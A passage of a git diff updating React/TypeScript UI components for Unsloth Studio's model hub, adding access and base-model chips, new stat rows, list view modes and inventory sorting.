-import { formatBytes, formatRelativeShort } from "@/features/hub/lib/format";
-import { Tick02Icon } from "@/lib/tick-icon";
+import {
+  formatBytes,
+  formatRelativeShort,
+  formatShortDate,
+} from "@/features/hub/lib/format";
 import { cn, formatCompact } from "@/lib/utils";
 import { confirmExternalLink } from "../stores/external-link-confirm";
 import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
 import {
   Calendar03Icon,
+  CalendarAdd01Icon,
   Copy01Icon,
   CpuIcon,
   CubeIcon,
@@ -27,40 +31,33 @@ import {
   FavouriteIcon,
   Globe02Icon,
   LayersLogoIcon,
+  LibraryIcon,
   LicenseIcon,
   PackageIcon,
   RamMemoryIcon,
   Share05Icon,
 } from "@hugeicons/core-free-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
-import {
-  memo,
-  useDeferredValue,
-  useEffect,
-  useMemo,
-  useRef,
-  useState,
-} from "react";
+import { memo, useDeferredValue, useMemo } from "react";
 import { useCopyFeedback } from "../hooks/use-copy-feedback";
 import { useDatasetSize } from "../hooks/use-dataset-size";
 import {
+  formatLibrary,
   formatLocalUpdated,
   formatPipelineTag,
   parseLanguageTags,
 } from "../lib/view-models";
 import type { SelectedModelView } from "../types";
-import {
-  selectActiveJob,
-  useDownloadManagerStore,
-} from "../download-manager";
+import { selectActiveJob, useDownloadManagerStore } from "../download-manager";
 import { DatasetDownloadSection } from "./dataset-download-section";
 import { DownloadSection } from "./download-section";
 import { LocalDatasetCard } from "./local-dataset-card";
 import { LocalOnDeviceCard } from "./local-on-device-card";
 import { ModelReadme } from "./model-readme";
 import { OwnerAvatar } from "./owner-avatar";
-import { CapabilityPill } from "./shared";
+import { AccessChip, CapabilityPill } from "./shared";
 
 function ViewRepositoryButton({
   repoId,
@@ -72,9 +69,13 @@ function ViewRepositoryButton({
   const online = useOnlineStatus();
   const url = `https://huggingface.co/${isDataset ? "datasets/" : ""}${repoId}`;
   const baseClass =
-    "inline-flex size-7 shrink-0 items-center justify-center rounded-[8px] text-muted-foreground transition-colors";
+    "inline-flex size-6 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors";
   const icon = (
-    <HugeiconsIcon icon={Share05Icon} strokeWidth={1.75} className="size-4" />
+    <HugeiconsIcon
+      icon={Share05Icon}
+      strokeWidth={1.75}
+      className="size-[13px]"
+    />
   );
   return (
     <Tooltip>
@@ -128,12 +129,12 @@ function CopyRepoButton({ repoId }: { repoId: string }) {
           type="button"
           aria-label="Copy repository ID"
           onClick={handleCopy}
-          className="inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-[8px] text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+          className="inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
         >
           <HugeiconsIcon
             icon={copied ? Tick02Icon : Copy01Icon}
             strokeWidth={1.75}
-            className="size-4"
+            className="size-[13px]"
           />
         </button>
       </TooltipTrigger>
@@ -148,10 +149,12 @@ function StatRow({
   label,
   value,
   icon,
+  tooltip,
 }: {
   label: string;
   value: string;
   icon: IconSvgElement;
+  tooltip?: React.ReactNode;
 }) {
   return (
     <Tooltip>
@@ -165,7 +168,9 @@ function StatRow({
           <span className="font-medium tabular-nums">{value}</span>
         </span>
       </TooltipTrigger>
-      <TooltipContent className="tooltip-compact">{label}</TooltipContent>
+      <TooltipContent className="tooltip-compact">
+        {tooltip ?? label}
+      </TooltipContent>
     </Tooltip>
   );
 }
@@ -175,11 +180,7 @@ function StatGrid({ children }: { children: React.ReactNode }) {
 }
 
 function InspectorDownloadSlot({ children }: { children: React.ReactNode }) {
-  return (
-    <div className="shrink-0 pl-6 pr-10 pt-3 sm:pr-14 lg:pr-[4.5rem] xl:pr-[5.5rem]">
-      {children}
-    </div>
-  );
+  return <div className="max-w-[680px] pt-3">{children}</div>;
 }
 
 function StatusChip({
@@ -200,7 +201,7 @@ function StatusChip({
   return (
     <span
       className={cn(
-        "inline-flex h-5 shrink-0 items-center whitespace-nowrap rounded-full border bg-transparent px-2 text-[11px] font-medium leading-none",
+        "inline-flex h-5 shrink-0 items-center whitespace-nowrap rounded-[7px] border bg-transparent px-1.5 text-[11px] font-medium leading-none",
         toneClass,
         className,
       )}
@@ -210,6 +211,53 @@ function StatusChip({
   );
 }
 
+function BaseModelSearchChip({
+  baseModel,
+  searchTerm,
+  onSearchHub,
+}: {
+  baseModel: string;
+  searchTerm: string;
+  onSearchHub?: (query: string) => void;
+}) {
+  const content = (
+    <>
+      <HugeiconsIcon
+        icon={LayersLogoIcon}
+        strokeWidth={1.75}
+        className="size-3.5 shrink-0 text-muted-foreground"
+      />
+      <span className="shrink-0 text-muted-foreground">Base</span>
+      <span className="min-w-0 truncate font-medium text-foreground">
+        {baseModel}
+      </span>
+    </>
+  );
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>
+        {onSearchHub ? (
+          <button
+            type="button"
+            onClick={() => onSearchHub(searchTerm)}
+            className="inline-flex h-6 max-w-full cursor-pointer items-center gap-1.5 rounded-full bg-muted px-2.5 text-[11.5px] transition-colors hover:bg-muted/80 dark:bg-[rgba(255,255,255,0.04)]"
+          >
+            {content}
+          </button>
+        ) : (
+          <span className="inline-flex h-6 max-w-full items-center gap-1.5 rounded-full bg-muted px-2.5 text-[11.5px] dark:bg-[rgba(255,255,255,0.04)]">
+            {content}
+          </span>
+        )}
+      </TooltipTrigger>
+      <TooltipContent side="bottom" className="tooltip-compact">
+        Search this base model in Hub
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
 type VramInfo = { est: number; status: "fits" | "tight" | "exceeds" } | null;
 
 function ModelStatusChips({
@@ -270,8 +318,7 @@ function ModelStatusChips({
               </span>
             )}
             <span className="mt-1 block text-[10.5px] font-normal text-white/75">
-              Still downloadable to your Hugging Face cache, shared with every
-              framework that reads it.
+              Still downloadable to your Hugging Face cache.
             </span>
           </TooltipContent>
         </Tooltip>
@@ -322,6 +369,7 @@ export type ModelInspectorActions = {
   onUseInChat: () => void;
   onTrain?: () => void;
   onInventoryChange?: () => void;
+  onSearchHub?: (query: string) => void;
 };
 
 export const ModelInspector = memo(function ModelInspector({
@@ -349,17 +397,23 @@ export const ModelInspector = memo(function ModelInspector({
     gpuGb,
     systemRamGb,
   } = runtime;
-  const { onLoad, onLoadLocal, onUseInChat, onTrain, onInventoryChange } =
-    actions;
+  const {
+    onLoad,
+    onLoadLocal,
+    onUseInChat,
+    onTrain,
+    onInventoryChange,
+    onSearchHub,
+  } = actions;
   const deviceType = usePlatformStore((s) => s.deviceType);
   const hfToken = useHfTokenStore((s) => s.token);
   const datasetRepoId = isDataset && model?.hubRepoId ? model.hubRepoId : null;
   const datasetSize = useDatasetSize(datasetRepoId, {
     token: hfToken || undefined,
   });
-  // Inventory rows are snapshots; the download manager is the live source of truth.
-  // When a download is in flight, route through the download-aware section so
-  // progress/cancel stays visible across refreshes.
+  // Inventory rows are snapshots; the download manager is the live source of
+  // truth. When a download is in flight, route through the download-aware section
+  // so progress/cancel stays visible across refreshes.
   const activeDownloadRepoId = model?.hubRepoId ?? null;
   const hasActiveHubDownload = useDownloadManagerStore((state) =>
     activeDownloadRepoId
@@ -403,35 +457,12 @@ export const ModelInspector = memo(function ModelInspector({
     supportTagsKey,
   ]);
 
-  const descScrollRef = useRef<HTMLDivElement | null>(null);
-  const descScrollKey = `${model?.id ?? ""}\0${readmeRepoId ?? ""}`;
   const deferredReadmeRepoId = useDeferredValue(readmeRepoId);
   const readmeReady = deferredReadmeRepoId === readmeRepoId;
-  const [descScrollState, setDescScrollState] = useState({
-    key: descScrollKey,
-    scrolled: false,
-  });
-  const descScrolled =
-    descScrollState.key === descScrollKey && descScrollState.scrolled;
-  useEffect(() => {
-    const el = descScrollRef.current;
-    if (!el) return;
-    el.scrollTop = 0;
-    const onScroll = () => {
-      const scrolled = el.scrollTop > 0;
-      setDescScrollState((current) =>
-        current.key === descScrollKey && current.scrolled === scrolled
-          ? current
-          : { key: descScrollKey, scrolled },
-      );
-    };
-    el.addEventListener("scroll", onScroll, { passive: true });
-    return () => el.removeEventListener("scroll", onScroll);
-  }, [descScrollKey]);
 
   if (!model) {
     return (
-      <div className="flex h-full min-h-0 flex-1 flex-col items-center justify-center gap-3 px-6 py-10 text-center">
+      <div className="flex min-h-[60vh] flex-col items-center justify-center gap-3 py-16 text-center">
         <div className="inline-flex size-12 items-center justify-center rounded-[14px] bg-muted text-muted-foreground">
           <HugeiconsIcon icon={CubeIcon} strokeWidth={1.5} className="size-5" />
         </div>
@@ -453,8 +484,23 @@ export const ModelInspector = memo(function ModelInspector({
     ? formatRelativeShort(model.updatedAt)
     : formatLocalUpdated(model.localUpdatedAt);
   const updatedLabel = updatedRaw === "Unknown update" ? "N/A" : updatedRaw;
+  const createdLabel = model.createdAt ? formatShortDate(model.createdAt) : null;
+  const libraryLabel = isDataset ? null : formatLibrary(model.libraryName);
+  const gatedAccess = model.gated !== false && model.gated !== undefined;
+  const downloadsTooltip =
+    model.downloadsAllTime != null ? (
+      <>
+        Downloads (30 days)
+        <span className="mt-1 block text-[10.5px] font-normal text-white/75">
+          {formatCompact(model.downloadsAllTime)} all time
+        </span>
+      </>
+    ) : (
+      "Downloads"
+    );
   const taskLabel = formatPipelineTag(model.pipelineTag) ?? "General";
   const licenseLabel = model.license ?? "N/A";
+  const baseModelSearchTerm = model.baseModelHubId ?? model.baseModel ?? null;
   const paramsLabel = model.totalParams
     ? formatCompact(model.totalParams)
     : "N/A";
@@ -473,17 +519,17 @@ export const ModelInspector = memo(function ModelInspector({
     datasetSize?.numBytesParquet ?? datasetSize?.numBytesOriginal ?? null;
 
   return (
-    <div className="flex h-full min-h-0 flex-1 flex-col">
-      <div className="shrink-0 px-6 pb-2 pt-0">
-        <div className="flex items-center gap-3.5">
+    <div className="flex flex-col">
+      <div className="pb-2 pt-1">
+        <div className="flex items-center gap-4">
           <OwnerAvatar
             owner={model.owner}
             repoName={model.title}
-            className="size-[52px] rounded-[14px] text-[16px]"
+            className="size-[60px] rounded-[18px] text-[19px]"
           />
           <div className="min-w-0 flex-1">
             <div className="flex min-w-0 items-center gap-1.5">
-              <h2 className="truncate text-[22px] font-semibold leading-[28px] tracking-[-0.025em] text-foreground">
+              <h2 className="truncate text-[25px] font-semibold leading-[31px] tracking-normal text-foreground">
                 {model.title}
               </h2>
               {model.hubRepoId && (
@@ -496,12 +542,12 @@ export const ModelInspector = memo(function ModelInspector({
                 </div>
               )}
             </div>
-            <div className="mt-0.5 flex min-w-0 items-center gap-1 text-[14px] leading-[22px] text-muted-foreground">
+            <div className="mt-0.5 flex min-w-0 items-center gap-1 text-[15px] leading-[24px] text-muted-foreground">
               <span className="truncate">{model.owner}</span>
               {model.owner.toLowerCase() === "unsloth" && (
                 <span
                   aria-label="Verified Unsloth"
-                  className="hub-verified-badge size-4 shrink-0 text-primary"
+                  className="hub-verified-badge size-[18px] shrink-0 text-primary"
                 />
               )}
             </div>
@@ -524,9 +570,18 @@ export const ModelInspector = memo(function ModelInspector({
               {taskLabel}
             </span>
           )}
+          {model.private && <AccessChip label="Private" />}
+          {gatedAccess && <AccessChip label="Gated" />}
           {model.capabilities.map((capability) => (
             <CapabilityPill key={capability.key} capability={capability} />
           ))}
+          {!isDataset && model.baseModel && baseModelSearchTerm && (
+            <BaseModelSearchChip
+              baseModel={model.baseModel}
+              searchTerm={baseModelSearchTerm}
+              onSearchHub={onSearchHub}
+            />
+          )}
         </div>
       </div>
 
@@ -620,7 +675,7 @@ export const ModelInspector = memo(function ModelInspector({
         </InspectorDownloadSlot>
       )}
 
-      <div className="shrink-0 px-6 pb-5 pt-5">
+      <div className="pb-5 pt-5">
         {selectionHiddenByFilters && (
           <p className="mb-3 rounded-[8px] border border-amber-500/30 bg-amber-500/10 px-3 py-2 text-[11.5px] leading-snug text-muted-foreground">
             Current selection is hidden by the active filters or search.
@@ -634,8 +689,16 @@ export const ModelInspector = memo(function ModelInspector({
         )}
         <StatGrid>
           <StatRow label="Updated" value={updatedLabel} icon={Calendar03Icon} />
+          {createdLabel && (
+            <StatRow
+              label="Created"
+              value={createdLabel}
+              icon={CalendarAdd01Icon}
+            />
+          )}
           <StatRow
             label="Downloads"
+            tooltip={downloadsTooltip}
             value={
               model.downloads !== undefined
                 ? formatCompact(model.downloads)
@@ -653,6 +716,9 @@ export const ModelInspector = memo(function ModelInspector({
           {!isDataset && (
             <StatRow label="Parameters" value={paramsLabel} icon={CpuIcon} />
           )}
+          {libraryLabel && (
+            <StatRow label="Library" value={libraryLabel} icon={LibraryIcon} />
+          )}
           {!isDataset && (
             <StatRow
               label="Memory"
@@ -683,7 +749,7 @@ export const ModelInspector = memo(function ModelInspector({
                 icon={LayersLogoIcon}
               />
             )}
-          {isDataset && languages.length > 0 && (
+          {languages.length > 0 && (
             <StatRow
               label="Languages"
               value={
@@ -704,19 +770,7 @@ export const ModelInspector = memo(function ModelInspector({
         />
       </div>
 
-      <div
-        aria-hidden="true"
-        className={cn(
-          "mx-6 shrink-0 border-t transition-colors",
-          descScrolled ? "border-border" : "border-transparent",
-        )}
-      />
-
-      <div
-        ref={descScrollRef}
-        data-hub-scroll="true"
-        className="min-h-0 flex-1 space-y-4 overflow-y-auto pl-6 pr-4 pt-5 pb-0 [scrollbar-gutter:stable] [scrollbar-width:thin]"
-      >
+      <div className="max-w-[860px] space-y-4 pt-4">
         {readmeReady && readmeRepoId && (
           <ModelReadme
             repoId={readmeRepoId}
diff --git a/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx b/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx
index b506f6a02d..355c38a91e 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx
@@ -2,7 +2,6 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Spinner } from "@/components/ui/spinner";
-import { modelIdsMatch } from "@/features/hub/lib/model-identity";
 import {
   CubeIcon,
   DownloadCircle02Icon,
@@ -10,7 +9,10 @@ import {
 } from "@hugeicons/core-free-icons";
 import type { RefObject } from "react";
 import { useMemo } from "react";
-import { inventoryRowMatches, scoreInventoryRow } from "../lib/inventory-search";
+import {
+  inventoryRowMatches,
+  scoreInventoryRow,
+} from "../lib/inventory-search";
 import type {
   CachedInventoryRow,
   DiscoverRow,
@@ -24,16 +26,33 @@ import {
   NetworkErrorState,
   SkeletonList,
 } from "./catalog-states";
+import { InventoryRow, VirtualRows } from "./models-catalog-rows";
 import {
-  DiscoverModelRow,
-  InventoryRow,
-  VirtualRows,
-} from "./models-catalog-rows";
+  type AllModelsView,
+  type InventorySort,
+  RESULT_CARD_HEIGHT_PX,
+  RESULT_GRID_HEIGHT_PX,
+  RESULT_GRID_ROW_HEIGHT_PX,
+  RESULT_ROW_HEIGHT_PX,
+  RESULT_SPLIT_HEIGHT_PX,
+  RESULT_SPLIT_ROW_HEIGHT_PX,
+  ResultCard,
+  ResultGridRow,
+  ResultSplitRow,
+} from "./models-table";
 
 type InventoryItem =
   | { variant: "cached"; row: CachedInventoryRow }
   | { variant: "local"; row: LocalInventoryRow };
 
+function inventoryItemTitle(item: InventoryItem): string {
+  return item.variant === "cached" ? item.row.repo : item.row.title;
+}
+
+function inventoryItemSize(item: InventoryItem): number {
+  return item.variant === "cached" ? item.row.bytes : 0;
+}
+
 export function InventoryWarningRow({
   isDataset,
   onRetry,
@@ -62,13 +81,13 @@ export function InventoryWarningRow({
 
 export function DiscoverList({
   discoverRows,
-  selectedId,
   onSelect,
   isLoading,
   query,
   scrollElement,
+  scrollMargin = 0,
+  suppressEmptyState = false,
   sentinelRef,
-  activeCheckpoint,
   searchError,
   online,
   isDataset,
@@ -76,21 +95,23 @@ export function DiscoverList({
   scannedCount,
   isLoadingMore,
   hasMore,
-  manualFetchAvailable,
   hasActiveFilters,
   onFetchMore,
   onClearFilters,
   onRetry,
   onSwitchDevice,
+  view,
+  selectedId,
 }: {
   discoverRows: DiscoverRow[];
-  selectedId: string | null;
   onSelect: (id: string) => void;
+  selectedId?: string | null;
   isLoading: boolean;
   query: string;
   scrollElement: HTMLDivElement | null;
+  scrollMargin?: number;
+  suppressEmptyState?: boolean;
   sentinelRef: RefObject<HTMLDivElement | null>;
-  activeCheckpoint: string | null;
   searchError: string | null;
   online: boolean;
   isDataset: boolean;
@@ -98,24 +119,84 @@ export function DiscoverList({
   scannedCount: number;
   isLoadingMore: boolean;
   hasMore: boolean;
-  manualFetchAvailable: boolean;
   hasActiveFilters: boolean;
   onFetchMore: () => void;
   onClearFilters: () => void;
   onRetry: () => void;
   onSwitchDevice?: () => void;
+  view: AllModelsView;
 }) {
+  // "two" = two cards per row; "grid" = compact table rows; "split" = one card
+  // per row in the master pane alongside an inline detail view.
+  const isSplit = view === "split";
+  const isCardLike = view === "two" || view === "split";
+  const rowHeight = isSplit
+    ? RESULT_SPLIT_ROW_HEIGHT_PX
+    : isCardLike
+      ? RESULT_ROW_HEIGHT_PX
+      : RESULT_GRID_ROW_HEIGHT_PX;
+  const cellHeight = isSplit
+    ? RESULT_SPLIT_HEIGHT_PX
+    : isCardLike
+      ? RESULT_CARD_HEIGHT_PX
+      : RESULT_GRID_HEIGHT_PX;
+  const columns = view === "two" ? 2 : 1;
+
   return (
     <>
       {online ? (
-        searchError && discoverRows.length === 0 ? (
+        discoverRows.length > 0 ? (
+          <>
+            <VirtualRows
+              items={discoverRows}
+              scrollElement={scrollElement}
+              scrollMargin={scrollMargin}
+              columns={columns}
+              rowHeight={rowHeight}
+              cellHeight={cellHeight}
+              getKey={(row) => row.id}
+              renderRow={(row) =>
+                view === "split" ? (
+                  <ResultSplitRow
+                    row={row}
+                    deviceType={deviceType}
+                    isDataset={isDataset}
+                    selected={row.id === selectedId}
+                    onSelect={onSelect}
+                  />
+                ) : isCardLike ? (
+                  <ResultCard
+                    row={row}
+                    deviceType={deviceType}
+                    isDataset={isDataset}
+                    onSelect={onSelect}
+                  />
+                ) : (
+                  <ResultGridRow
+                    row={row}
+                    deviceType={deviceType}
+                    isDataset={isDataset}
+                    onSelect={onSelect}
+                  />
+                )
+              }
+            />
+            {hasMore && (
+              <DiscoverFetchMoreFooter
+                hasActiveFilters={hasActiveFilters}
+                isLoadingMore={isLoadingMore}
+                onFetchMore={onFetchMore}
+              />
+            )}
+          </>
+        ) : suppressEmptyState ? null : searchError ? (
           <NetworkErrorState
             online={online}
             message={searchError}
             onRetry={onRetry}
             resourceLabel={isDataset ? "datasets" : "models"}
           />
-        ) : hasMore && discoverRows.length === 0 ? (
+        ) : hasMore ? (
           <DiscoverFetchMoreState
             scannedCount={scannedCount}
             hasActiveFilters={hasActiveFilters}
@@ -123,9 +204,9 @@ export function DiscoverList({
             onFetchMore={onFetchMore}
             onClearFilters={onClearFilters}
           />
-        ) : discoverRows.length === 0 && isLoading ? (
+        ) : isLoading ? (
           <SkeletonList />
-        ) : discoverRows.length === 0 ? (
+        ) : (
           <EmptyState
             icon={query.trim() ? FolderSearchIcon : CubeIcon}
             title={
@@ -139,35 +220,8 @@ export function DiscoverList({
                 : "The current filters are excluding every result."
             }
           />
-        ) : (
-          <>
-            <VirtualRows
-              items={discoverRows}
-              scrollElement={scrollElement}
-              getKey={(row) => row.id}
-              renderRow={(row) => (
-                <DiscoverModelRow
-                  row={row}
-                  selected={selectedId === row.id}
-                  active={modelIdsMatch(activeCheckpoint, row.id)}
-                  deviceType={deviceType}
-                  isDataset={isDataset}
-                  onSelect={onSelect}
-                />
-              )}
-            />
-            {hasMore && (
-              <DiscoverFetchMoreFooter
-                scannedCount={scannedCount}
-                manualFetchAvailable={manualFetchAvailable}
-                hasActiveFilters={hasActiveFilters}
-                isLoadingMore={isLoadingMore}
-                onFetchMore={onFetchMore}
-              />
-            )}
-          </>
         )
-      ) : (
+      ) : suppressEmptyState ? null : (
         <NetworkErrorState
           online={online}
           message="Discovery is unavailable while offline."
@@ -191,11 +245,14 @@ export function DownloadedList({
   inventoryError,
   query,
   scrollElement,
+  columns = 1,
   activeCheckpoint,
   activeGgufVariant,
   isDataset,
   inventoryTokens,
   deviceType,
+  compact = false,
+  sort,
   onInventoryChange,
 }: {
   cachedRows: CachedInventoryRow[];
@@ -206,11 +263,15 @@ export function DownloadedList({
   inventoryError: boolean;
   query: string;
   scrollElement: HTMLDivElement | null;
+  columns?: number;
   activeCheckpoint: string | null;
   activeGgufVariant: string | null;
   isDataset: boolean;
   inventoryTokens: readonly string[];
   deviceType: string | null;
+  /** Narrow split master pane: render compact inventory rows. */
+  compact?: boolean;
+  sort: InventorySort;
   onInventoryChange?: () => void;
 }) {
   const inventoryItems = useMemo<InventoryItem[]>(() => {
@@ -218,16 +279,31 @@ export function DownloadedList({
       ...cachedRows.map((row) => ({ variant: "cached" as const, row })),
       ...localRows.map((row) => ({ variant: "local" as const, row })),
     ];
-    if (inventoryTokens.length === 0) return merged;
+    if (inventoryTokens.length > 0) {
+      return merged
+        .map((item, index) => ({
+          item,
+          index,
+          score: scoreInventoryRow(item.row, inventoryTokens),
+        }))
+        .sort((a, b) => b.score - a.score || a.index - b.index)
+        .map((entry) => entry.item);
+    }
+    if (sort === "recent") {
+      return merged;
+    }
     return merged
-      .map((item, index) => ({
-        item,
-        index,
-        score: scoreInventoryRow(item.row, inventoryTokens),
-      }))
-      .sort((a, b) => b.score - a.score || a.index - b.index)
+      .map((item, index) => ({ item, index }))
+      .sort((a, b) =>
+        sort === "name"
+          ? inventoryItemTitle(a.item).localeCompare(
+              inventoryItemTitle(b.item),
+            ) || a.index - b.index
+          : inventoryItemSize(b.item) - inventoryItemSize(a.item) ||
+            a.index - b.index,
+      )
       .map((entry) => entry.item);
-  }, [cachedRows, localRows, inventoryTokens]);
+  }, [cachedRows, localRows, inventoryTokens, sort]);
   const hasInventoryRows = cachedRows.length > 0 || localRows.length > 0;
 
   if (!downloadedReady && !hasInventoryRows) {
@@ -268,6 +344,9 @@ export function DownloadedList({
     <VirtualRows
       items={inventoryItems}
       scrollElement={scrollElement}
+      columns={columns}
+      rowHeight={compact ? RESULT_SPLIT_ROW_HEIGHT_PX : RESULT_GRID_ROW_HEIGHT_PX}
+      cellHeight={compact ? RESULT_SPLIT_HEIGHT_PX : RESULT_GRID_HEIGHT_PX}
       getKey={(item) => `${item.variant}-${item.row.id}`}
       renderRow={(item) => (
         <InventoryRow
@@ -278,6 +357,7 @@ export function DownloadedList({
           isDataset={isDataset}
           dimmed={!inventoryRowMatches(item.row, inventoryTokens)}
           deviceType={deviceType}
+          compact={compact}
           onSelect={onSelect}
           onChange={onInventoryChange}
         />
diff --git a/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx b/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
index 0eada7e046..4199755ba7 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
@@ -45,16 +45,19 @@ import type {
   LocalInventoryRow,
 } from "../types";
 import { OwnerAvatar } from "./owner-avatar";
+import { AccessGlyphs } from "./shared";
+import { paramLabelFromId } from "../lib/view-models";
 
 const COARSE_POINTER =
   typeof window !== "undefined" &&
   typeof window.matchMedia === "function" &&
   window.matchMedia("(pointer: coarse)").matches;
 
-// Defer the cached-size chip (a Radix Tooltip + two store subscriptions) until the
-// row is hovered/focused so flicking the list doesn't pay that cost per row. The
-// placeholder renders an identical StatChip, so the swap shifts nothing. Coarse
-// pointers have no hover, so arm immediately; default true so out-of-row usage works.
+// Defer the cached-size chip (Radix Tooltip + two store subscriptions) until a
+// row is first hovered/focused so scrolling the virtualized list doesn't pay
+// that cost per row; an identical StatChip placeholder makes the swap invisible.
+// Coarse pointers have no hover, so they arm immediately. Default true so any
+// out-of-row usage stays functional.
 const CatalogRowInteractiveContext = createContext(true);
 
 function CachedSizeChip(props: {
@@ -66,7 +69,9 @@ function CachedSizeChip(props: {
 }) {
   const interactive = useContext(CatalogRowInteractiveContext);
   if (!interactive) {
-    return <StatChip icon={PackageIcon} value={formatBytes(props.totalBytes)} />;
+    return (
+      <StatChip icon={PackageIcon} value={formatBytes(props.totalBytes)} />
+    );
   }
   return <CachedSizeChipLive {...props} />;
 }
@@ -172,9 +177,11 @@ function CachedSizeChipLive({
               >
                 <span className="min-w-0 truncate">{row.label}</span>
                 <span className="ml-auto">
+                  {/* Brightened for the dark tooltip: muted grey reads poorly there. */}
                   <StatChip
                     icon={PackageIcon}
                     value={formatBytes(row.size_bytes)}
+                    className="text-[11px] text-white/70"
                   />
                 </span>
               </li>
@@ -190,15 +197,31 @@ function CachedSizeChipLive({
   );
 }
 
+// Thin "·" separator for inline meta lines (owner · format · params).
+function MetaDivider() {
+  return (
+    <span aria-hidden="true" className="shrink-0 text-muted-foreground/35">
+      ·
+    </span>
+  );
+}
+
 export function StatChip({
   icon,
   value,
+  className,
 }: {
   icon: IconSvgElement;
   value: string;
+  className?: string;
 }) {
   return (
-    <span className="inline-flex shrink-0 items-center gap-1 whitespace-nowrap text-[10px] font-medium leading-none tabular-nums text-muted-foreground/75">
+    <span
+      className={cn(
+        "inline-flex shrink-0 items-center gap-1 whitespace-nowrap text-[10px] font-medium leading-none tabular-nums text-muted-foreground/75",
+        className,
+      )}
+    >
       <HugeiconsIcon
         icon={icon}
         strokeWidth={1.75}
@@ -216,6 +239,7 @@ function CatalogRow({
   tooltip,
   label,
   children,
+  variant = "flat",
 }: {
   selected: boolean;
   active?: boolean;
@@ -223,25 +247,37 @@ function CatalogRow({
   onClick: () => void;
   label: string;
   children: ReactNode;
+  variant?: "flat" | "card";
 }) {
   const [interactive, setInteractive] = useState(COARSE_POINTER);
   const arm = useCallback(() => setInteractive(true), []);
+  const card = variant === "card";
   const button = (
     <div
       data-selected={selected || undefined}
       data-active={active || undefined}
       onPointerEnter={arm}
       onFocusCapture={arm}
-      className="catalog-row group/row relative block w-full select-none overflow-hidden rounded-[14px] pl-3 pr-4 py-2.5 text-left"
+      className={cn(
+        "group/row relative w-full select-none overflow-hidden text-left",
+        card
+          ? "hub-result-row flex h-full items-center rounded-[16px] px-4"
+          : "catalog-row block rounded-[14px] pl-3 pr-2.5 py-2.5",
+      )}
     >
       <button
         type="button"
         aria-label={label}
         onClick={onClick}
-        className="absolute inset-0 cursor-pointer rounded-[14px] outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+        className={cn(
+          "absolute inset-0 cursor-pointer outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset",
+          card ? "rounded-[16px]" : "rounded-[14px]",
+        )}
       />
       <CatalogRowInteractiveContext.Provider value={interactive}>
-        <div className="pointer-events-none relative">{children}</div>
+        <div className={cn("pointer-events-none relative", card && "z-[1] w-full")}>
+          {children}
+        </div>
       </CatalogRowInteractiveContext.Provider>
     </div>
   );
@@ -250,9 +286,9 @@ function CatalogRow({
     <Tooltip>
       <TooltipTrigger asChild={true}>{button}</TooltipTrigger>
       <TooltipContent
-        side="right"
-        align="center"
-        sideOffset={8}
+        side={card ? "top" : "right"}
+        align="start"
+        sideOffset={card ? 6 : 8}
         className="tooltip-compact max-w-xs"
       >
         {tooltip}
@@ -304,7 +340,7 @@ function TooltipLegendRow({
   );
 }
 
-function buildRowStatusTooltip({
+export function buildRowStatusTooltip({
   isGguf,
   isAdapter,
   isAvailableOnDevice,
@@ -365,8 +401,7 @@ function buildRowStatusTooltip({
           </span>
         )}
         <span className="mt-0.5 block text-white/75">
-          Still downloadable to your Hugging Face cache, shared with every
-          framework that reads it.
+          Still downloadable to your Hugging Face cache.
         </span>
       </TooltipLegendRow>,
     );
@@ -432,14 +467,20 @@ export const DiscoverModelRow = memo(function DiscoverModelRow({
         <OwnerAvatar
           owner={row.owner}
           repoName={row.repo}
-          className="size-8 rounded-[9px]"
+          className="size-8 rounded-[11px]"
+          remote={false}
         />
         <div className="flex min-w-0 flex-1 flex-col gap-[3px]">
           <div className="flex h-[18px] min-w-0 items-center justify-between gap-2">
-            <div className="flex min-w-0 items-center gap-1.5 pr-2">
+            <div className="flex min-w-0 items-center gap-2 pr-2">
               <p className="truncate text-[12px] font-medium leading-[18px] tracking-[-0.005em] text-foreground">
                 {row.repo}
               </p>
+              <AccessGlyphs
+                gated={row.result.gated}
+                isPrivate={row.result.private}
+                tooltip={false}
+              />
               {row.result.isGguf && (
                 <span
                   role="img"
@@ -520,6 +561,7 @@ export const InventoryRow = memo(function InventoryRow({
   isDataset,
   dimmed,
   deviceType,
+  compact = false,
   onSelect,
   onChange,
 }: {
@@ -530,6 +572,8 @@ export const InventoryRow = memo(function InventoryRow({
   isDataset: boolean;
   dimmed: boolean;
   deviceType: string | null;
+  /** Narrow split master pane: drop the capability column so the name fits. */
+  compact?: boolean;
   onSelect: (id: string) => void;
   onChange?: () => void;
 }) {
@@ -591,9 +635,200 @@ export const InventoryRow = memo(function InventoryRow({
     unsupported,
     resourceLabel: isDataset ? "dataset" : "model",
   });
+  // Always-derivable stats so on-device rows don't show empty placeholder cells:
+  // format badge, parameter count from the repo name, and GGUF quant variant.
+  const formatLabel =
+    row.modelFormat === "gguf"
+      ? "GGUF"
+      : row.modelFormat === "adapter"
+        ? "Adapter"
+        : row.modelFormat === "safetensors" || row.modelFormat === "checkpoint"
+          ? "Safetensors"
+          : null;
+  const paramLabel = useMemo(() => paramLabelFromId(title), [title]);
+  const quantLabel = row.formatVariant?.trim() || null;
+
+  const metaChips =
